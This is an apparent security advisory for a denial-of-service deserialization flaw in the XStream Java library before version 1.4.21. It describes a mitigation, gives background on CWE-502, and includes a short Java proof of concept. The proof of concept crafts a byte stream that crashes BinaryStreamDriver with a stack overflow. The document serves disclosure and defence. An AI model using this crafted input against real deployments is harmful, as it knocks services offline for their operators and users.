Deserialization of Untrusted Data Affecting com.thoughtworks.xstream:xstream package, versions [,1.4.21)

com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data due to a manipulated binary input stream. An attacker can terminate the application with a stack overflow error resulting in a denial of service by manipulating the processed input stream when configured to use the BinaryStreamDriver.

This vulnerability can be mitigated by catching the StackOverflowError in the client code calling XStream.

Prepare the manipulated data and provide it as input for a XStream instance using the BinaryDriver:

final byte[] byteArray = new byte[36000];
for (int i = 0; i < byteArray.length / 4; i++) {
      byteArray[i * 4] = 10;
      byteArray[i * 4 + 1] = -127;
      byteArray[i * 4 + 2] = 0;
      byteArray[i * 4 + 3] = 0;
}

XStream xstream = new XStream(new BinaryStreamDriver());
xstream.fromXML(new ByteArrayInputStream(byteArray));

As soon as the data gets unmarshalled, the endless recursion is entered and the executing thread is aborted with a stack overflow error.

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like Remote Method Invocation (RMI), Java Management Extension (JMX), Java Messaging System (JMS), Action Message Format (AMF), Java Server Faces (JSF) ViewState, etc.

Deserialization of untrusted data (CWE-502) is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, thus allowing the attacker to control the state or the flow of the execution.

• GitHub Commit
• GitHub Commit
• XStream Advisory